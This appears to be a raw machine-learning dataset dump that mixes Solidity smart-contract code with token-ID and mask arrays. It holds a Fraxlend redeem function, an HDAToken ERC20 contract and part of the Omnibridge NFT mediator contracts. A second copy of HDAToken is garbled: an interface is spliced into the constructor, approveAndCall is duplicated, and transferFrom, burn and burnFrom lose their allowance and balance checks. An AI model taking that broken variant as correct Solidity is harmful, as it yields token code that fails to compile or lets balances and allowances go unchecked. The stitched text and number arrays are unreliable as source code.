[ 1, 565, 445, 444, 8850, 8478, 15609, 2375, 12, 3890, 1578, 394, 8850, 8478, 15609, 2375, 13, 3903, 1338, 5541, 288, 203, 3639, 6007, 8478, 15609, 2375, 273, 394, 8850, 8478, 15609, 2375, 31, 203, 3639, 3626, 1000, 8850, 8478, 15609, 2375, 12, 2704, 8850, 8478, 15609, 2375, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x21E354Da5D929A4da55428F6bfd71eD9Ffd5001F/sources/src/contracts/FraxlendPairCore.sol
@notice The ```redeem``` function allows the caller to redeem their Asset Shares for Asset Tokens @param _shares The number of Asset Shares (fTokens) to burn for Asset Tokens @param _receiver The address to which the Asset Tokens will be transferred @param _owner The owner of the Asset Shares (fTokens) @return _amountToReturn The amount of Asset Tokens to be transferred
function redeem(uint256 _shares, address _receiver, address _owner) external nonReentrant returns (uint256 _amountToReturn) { _addInterest(); VaultAccount memory _totalAsset = totalAsset; _amountToReturn = _totalAsset.toAmount(_shares, false); _redeem(_totalAsset, _amountToReturn.toUint128(), _shares.toUint128(), _receiver, _owner); } address indexed _borrower, address indexed _receiver, uint256 _borrowAmount, uint256 _sharesAdded );
4,323,372
[ 1, 1986, 31621, 266, 24903, 10335, 68, 445, 5360, 326, 4894, 358, 283, 24903, 3675, 10494, 2638, 4807, 364, 10494, 13899, 225, 389, 30720, 1021, 1300, 434, 10494, 2638, 4807, 261, 74, 5157, 13, 358, 18305, 364, 10494, 13899, 225, 389, 24454, 1021, 1758, 358, 1492, 326, 10494, 13899, 903, 506, 906, 4193, 225, 389, 8443, 1021, 3410, 434, 326, 10494, 2638, 4807, 261, 74, 5157, 13, 327, 389, 8949, 27014, 1021, 3844, 434, 10494, 13899, 358, 506, 906, 4193, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 283, 24903, 12, 11890, 5034, 389, 30720, 16, 1758, 389, 24454, 16, 1758, 389, 8443, 13, 203, 3639, 3903, 203, 3639, 1661, 426, 8230, 970, 203, 3639, 1135, 261, 11890, 5034, 389, 8949, 27014, 13, 203, 565, 288, 203, 3639, 389, 1289, 29281, 5621, 203, 3639, 17329, 3032, 3778, 389, 4963, 6672, 273, 2078, 6672, 31, 203, 3639, 389, 8949, 27014, 273, 389, 4963, 6672, 18, 869, 6275, 24899, 30720, 16, 629, 1769, 203, 3639, 389, 266, 24903, 24899, 4963, 6672, 16, 389, 8949, 27014, 18, 869, 5487, 10392, 9334, 389, 30720, 18, 869, 5487, 10392, 9334, 389, 24454, 16, 389, 8443, 1769, 203, 565, 289, 203, 203, 3639, 1758, 8808, 389, 70, 15318, 264, 16, 203, 3639, 1758, 8808, 389, 24454, 16, 203, 3639, 2254, 5034, 389, 70, 15318, 6275, 16, 203, 3639, 2254, 5034, 389, 30720, 8602, 203, 565, 11272, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract HDAToken { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function HDAToken( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
Public variables of the token 18 decimals is the strongly suggested default, avoid changing it This creates an array with all balances This generates a public event on the blockchain that will notify clients This notifies clients about the amount burnt
contract HDAToken { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function HDAToken( uint256 initialSupply, string tokenName, string tokenSymbol interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } ) public { } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { Burn(_from, _value); return true; } }
1,988,836
[ 1, 4782, 3152, 434, 326, 1147, 6549, 15105, 353, 326, 11773, 715, 22168, 805, 16, 4543, 12770, 518, 1220, 3414, 392, 526, 598, 777, 324, 26488, 1220, 6026, 279, 1071, 871, 603, 326, 16766, 716, 903, 5066, 7712, 1220, 19527, 7712, 2973, 326, 3844, 18305, 88, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 670, 11102, 969, 288, 203, 565, 533, 1071, 508, 31, 203, 565, 533, 1071, 3273, 31, 203, 565, 2254, 28, 1071, 15105, 273, 6549, 31, 203, 565, 2254, 5034, 1071, 2078, 3088, 1283, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 1071, 11013, 951, 31, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 1071, 1699, 1359, 31, 203, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 5034, 460, 1769, 203, 203, 565, 871, 605, 321, 12, 2867, 8808, 628, 16, 2254, 5034, 460, 1769, 203, 203, 565, 445, 670, 11102, 969, 12, 203, 3639, 2254, 5034, 2172, 3088, 1283, 16, 203, 3639, 533, 1147, 461, 16, 203, 3639, 533, 1147, 5335, 203, 5831, 1147, 18241, 288, 445, 6798, 23461, 12, 2867, 389, 2080, 16, 2254, 5034, 389, 1132, 16, 1758, 389, 2316, 16, 1731, 389, 7763, 751, 13, 1071, 31, 289, 203, 565, 262, 1071, 288, 203, 565, 289, 203, 203, 565, 445, 389, 13866, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 389, 1132, 13, 2713, 288, 203, 3639, 2583, 24899, 869, 480, 374, 92, 20, 1769, 203, 3639, 2583, 12, 12296, 951, 63, 67, 2080, 65, 1545, 389, 1132, 1769, 203, 3639, 2583, 12, 12296, 951, 63, 67, 869, 65, 397, 389, 1132, 405, 11013, 951, 63, 67, 869, 19226, 203, 3639, 2254, 2416, 38, 26488, 273, 11013, 951, 63, 67, 2080, 65, 397, 11013, 951, 63, 67, 869, 15533, 203, 3639, 11013, 951, 63, 2 ]
// File: contracts/upgradeability/EternalStorage.sol pragma solidity 0.7.5; /** * @title EternalStorage * @dev This contract holds all the necessary state variables to carry out the storage of any contract. */ contract EternalStorage { mapping(bytes32 => uint256) internal uintStorage; mapping(bytes32 => string) internal stringStorage; mapping(bytes32 => address) internal addressStorage; mapping(bytes32 => bytes) internal bytesStorage; mapping(bytes32 => bool) internal boolStorage; mapping(bytes32 => int256) internal intStorage; } // File: contracts/upgradeable_contracts/Initializable.sol pragma solidity 0.7.5; contract Initializable is EternalStorage { bytes32 internal constant INITIALIZED = 0x0a6f646cd611241d8073675e00d1a1ff700fbf1b53fcf473de56d1e6e4b714ba; // keccak256(abi.encodePacked("isInitialized")) function setInitialize() internal { boolStorage[INITIALIZED] = true; } function isInitialized() public view returns (bool) { return boolStorage[INITIALIZED]; } } // File: contracts/interfaces/IUpgradeabilityOwnerStorage.sol pragma solidity 0.7.5; interface IUpgradeabilityOwnerStorage { function upgradeabilityOwner() external view returns (address); } // File: contracts/upgradeable_contracts/Upgradeable.sol pragma solidity 0.7.5; contract Upgradeable { // Avoid using onlyUpgradeabilityOwner name to prevent issues with implementation from proxy contract modifier onlyIfUpgradeabilityOwner() { require(msg.sender == IUpgradeabilityOwnerStorage(address(this)).upgradeabilityOwner()); _; } } // File: contracts/upgradeable_contracts/omnibridge_nft/components/common/BridgeOperationsStorage.sol pragma solidity 0.7.5; /** * @title BridgeOperationsStorage * @dev Functionality for storing processed bridged operations. */ abstract contract BridgeOperationsStorage is EternalStorage { /** * @dev Stores the bridged token of a message sent to the AMB bridge. * @param _messageId of the message sent to the bridge. * @param _token bridged token address. */ function setMessageToken(bytes32 _messageId, address _token) internal { addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))] = _token; } /** * @dev Tells the bridged token address of a message sent to the AMB bridge. * @return address of a token contract. */ function messageToken(bytes32 _messageId) internal view returns (address) { return addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))]; } /** * @dev Stores the value of a message sent to the AMB bridge. * @param _messageId of the message sent to the bridge. * @param _value amount of tokens bridged. */ function setMessageValue(bytes32 _messageId, uint256 _value) internal { uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))] = _value; } /** * @dev Tells the amount of tokens of a message sent to the AMB bridge. * @return value representing amount of tokens. */ function messageValue(bytes32 _messageId) internal view returns (uint256) { return uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))]; } /** * @dev Stores the receiver of a message sent to the AMB bridge. * @param _messageId of the message sent to the bridge. * @param _recipient receiver of the tokens bridged. */ function setMessageRecipient(bytes32 _messageId, address _recipient) internal { addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))] = _recipient; } /** * @dev Tells the receiver of a message sent to the AMB bridge. * @return address of the receiver. */ function messageRecipient(bytes32 _messageId) internal view returns (address) { return addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))]; } } // File: contracts/upgradeable_contracts/Ownable.sol pragma solidity 0.7.5; /** * @title Ownable * @dev This contract has an owner address providing basic authorization control */ contract Ownable is EternalStorage { bytes4 internal constant UPGRADEABILITY_OWNER = 0x6fde8202; // upgradeabilityOwner() /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event OwnershipTransferred(address previousOwner, address newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner()); _; } /** * @dev Throws if called through proxy by any account other than contract itself or an upgradeability owner. */ modifier onlyRelevantSender() { (bool isProxy, bytes memory returnData) = address(this).staticcall(abi.encodeWithSelector(UPGRADEABILITY_OWNER)); require( !isProxy || // covers usage without calling through storage proxy (returnData.length == 32 && msg.sender == abi.decode(returnData, (address))) || // covers usage through regular proxy calls msg.sender == address(this) // covers calls through upgradeAndCall proxy method ); _; } bytes32 internal constant OWNER = 0x02016836a56b71f0d02689e69e326f4f4c1b9057164ef592671cf0d37c8040c0; // keccak256(abi.encodePacked("owner")) /** * @dev Tells the address of the owner * @return the address of the owner */ function owner() public view returns (address) { return addressStorage[OWNER]; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner the address to transfer ownership to. */ function transferOwnership(address newOwner) external onlyOwner { _setOwner(newOwner); } /** * @dev Sets a new owner address */ function _setOwner(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(owner(), newOwner); addressStorage[OWNER] = newOwner; } } // File: contracts/interfaces/IAMB.sol pragma solidity 0.7.5; interface IAMB { event UserRequestForAffirmation(bytes32 indexed messageId, bytes encodedData); event UserRequestForSignature(bytes32 indexed messageId, bytes encodedData); event CollectedSignatures( address authorityResponsibleForRelay, bytes32 messageHash, uint256 numberOfCollectedSignatures ); event AffirmationCompleted( address indexed sender, address indexed executor, bytes32 indexed messageId, bool status ); event RelayedMessage(address indexed sender, address indexed executor, bytes32 indexed messageId, bool status); function messageSender() external view returns (address); function maxGasPerTx() external view returns (uint256); function transactionHash() external view returns (bytes32); function messageId() external view returns (bytes32); function messageSourceChainId() external view returns (bytes32); function messageCallStatus(bytes32 _messageId) external view returns (bool); function failedMessageDataHash(bytes32 _messageId) external view returns (bytes32); function failedMessageReceiver(bytes32 _messageId) external view returns (address); function failedMessageSender(bytes32 _messageId) external view returns (address); function requireToPassMessage( address _contract, bytes calldata _data, uint256 _gas ) external returns (bytes32); function requireToConfirmMessage( address _contract, bytes calldata _data, uint256 _gas ) external returns (bytes32); function sourceChainId() external view returns (uint256); function destinationChainId() external view returns (uint256); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/upgradeable_contracts/BasicAMBMediator.sol pragma solidity 0.7.5; /** * @title BasicAMBMediator * @dev Basic storage and methods needed by mediators to interact with AMB bridge. */ abstract contract BasicAMBMediator is Ownable { bytes32 internal constant BRIDGE_CONTRACT = 0x811bbb11e8899da471f0e69a3ed55090fc90215227fc5fb1cb0d6e962ea7b74f; // keccak256(abi.encodePacked("bridgeContract")) bytes32 internal constant MEDIATOR_CONTRACT = 0x98aa806e31e94a687a31c65769cb99670064dd7f5a87526da075c5fb4eab9880; // keccak256(abi.encodePacked("mediatorContract")) /** * @dev Throws if caller on the other side is not an associated mediator. */ modifier onlyMediator { _onlyMediator(); _; } /** * @dev Internal function for reducing onlyMediator modifier bytecode overhead. */ function _onlyMediator() internal view { IAMB bridge = bridgeContract(); require(msg.sender == address(bridge)); require(bridge.messageSender() == mediatorContractOnOtherSide()); } /** * @dev Sets the AMB bridge contract address. Only the owner can call this method. * @param _bridgeContract the address of the bridge contract. */ function setBridgeContract(address _bridgeContract) external onlyOwner { _setBridgeContract(_bridgeContract); } /** * @dev Sets the mediator contract address from the other network. Only the owner can call this method. * @param _mediatorContract the address of the mediator contract. */ function setMediatorContractOnOtherSide(address _mediatorContract) external onlyOwner { _setMediatorContractOnOtherSide(_mediatorContract); } /** * @dev Get the AMB interface for the bridge contract address * @return AMB interface for the bridge contract address */ function bridgeContract() public view returns (IAMB) { return IAMB(addressStorage[BRIDGE_CONTRACT]); } /** * @dev Tells the mediator contract address from the other network. * @return the address of the mediator contract. */ function mediatorContractOnOtherSide() public view virtual returns (address) { return addressStorage[MEDIATOR_CONTRACT]; } /** * @dev Stores a valid AMB bridge contract address. * @param _bridgeContract the address of the bridge contract. */ function _setBridgeContract(address _bridgeContract) internal { require(Address.isContract(_bridgeContract)); addressStorage[BRIDGE_CONTRACT] = _bridgeContract; } /** * @dev Stores the mediator contract address from the other network. * @param _mediatorContract the address of the mediator contract. */ function _setMediatorContractOnOtherSide(address _mediatorContract) internal { addressStorage[MEDIATOR_CONTRACT] = _mediatorContract; } /** * @dev Tells the id of the message originated on the other network. * @return the id of the message originated on the other network. */ function messageId() internal view returns (bytes32) { return bridgeContract().messageId(); } /** * @dev Tells the maximum gas limit that a message can use on its execution by the AMB bridge on the other network. * @return the maximum gas limit value. */ function maxGasPerTx() internal view returns (uint256) { return bridgeContract().maxGasPerTx(); } function _passMessage(bytes memory _data, bool _useOracleLane) internal virtual returns (bytes32); } // File: contracts/upgradeable_contracts/omnibridge_nft/components/common/FailedMessagesProcessor.sol pragma solidity 0.7.5; /** * @title FailedMessagesProcessor * @dev Functionality for fixing failed bridging operations. */ abstract contract FailedMessagesProcessor is BasicAMBMediator, BridgeOperationsStorage { event FailedMessageFixed(bytes32 indexed messageId, address token, address recipient, uint256 value); /** * @dev Method to be called when a bridged message execution failed. It will generate a new message requesting to * fix/roll back the transferred assets on the other network. * @param _messageId id of the message which execution failed. */ function requestFailedMessageFix(bytes32 _messageId) external { IAMB bridge = bridgeContract(); require(!bridge.messageCallStatus(_messageId)); require(bridge.failedMessageReceiver(_messageId) == address(this)); require(bridge.failedMessageSender(_messageId) == mediatorContractOnOtherSide()); bytes memory data = abi.encodeWithSelector(this.fixFailedMessage.selector, _messageId); _passMessage(data, false); } /** * @dev Handles the request to fix transferred assets which bridged message execution failed on the other network. * It uses the information stored by passMessage method when the assets were initially transferred * @param _messageId id of the message which execution failed on the other network. */ function fixFailedMessage(bytes32 _messageId) public onlyMediator { require(!messageFixed(_messageId)); address token = messageToken(_messageId); address recipient = messageRecipient(_messageId); uint256 value = messageValue(_messageId); setMessageFixed(_messageId); executeActionOnFixedTokens(token, recipient, value); emit FailedMessageFixed(_messageId, token, recipient, value); } /** * @dev Tells if a message sent to the AMB bridge has been fixed. * @return bool indicating the status of the message. */ function messageFixed(bytes32 _messageId) public view returns (bool) { return boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))]; } /** * @dev Sets that the message sent to the AMB bridge has been fixed. * @param _messageId of the message sent to the bridge. */ function setMessageFixed(bytes32 _messageId) internal { boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))] = true; } function executeActionOnFixedTokens( address _token, address _recipient, uint256 _value ) internal virtual; } // File: contracts/upgradeable_contracts/omnibridge_nft/components/common/NFTBridgeLimits.sol pragma solidity 0.7.5; /** * @title NFTBridgeLimits * @dev Functionality for keeping track of bridging limits for multiple ERC721 tokens. */ abstract contract NFTBridgeLimits is Ownable { // token == 0x00..00 represents global restriction applied for all tokens event TokenBridgingDisabled(address indexed token, bool disabled); event TokenExecutionDisabled(address indexed token, bool disabled); /** * @dev Checks if specified token was already bridged at least once. * @param _token address of the token contract. * @return true, if token was already bridged. */ function isTokenRegistered(address _token) public view virtual returns (bool); /** * @dev Disabled bridging operations for the particular token. * @param _token address of the token contract, or address(0) for configuring the global restriction. * @param _disable true for disabling. */ function disableTokenBridging(address _token, bool _disable) external onlyOwner { require(_token == address(0) || isTokenRegistered(_token)); boolStorage[keccak256(abi.encodePacked("bridgingDisabled", _token))] = _disable; emit TokenBridgingDisabled(_token, _disable); } /** * @dev Disabled execution operations for the particular token. * @param _token address of the token contract, or address(0) for configuring the global restriction. * @param _disable true for disabling. */ function disableTokenExecution(address _token, bool _disable) external onlyOwner { require(_token == address(0) || isTokenRegistered(_token)); boolStorage[keccak256(abi.encodePacked("executionDisabled", _token))] = _disable; emit TokenExecutionDisabled(_token, _disable); } /** * @dev Tells if the bridging operations for the particular token are allowed. * @param _token address of the token contract. * @return true, if bridging operations are allowed. */ function isTokenBridgingAllowed(address _token) public view returns (bool) { bool isDisabled = boolStorage[keccak256(abi.encodePacked("bridgingDisabled", _token))]; 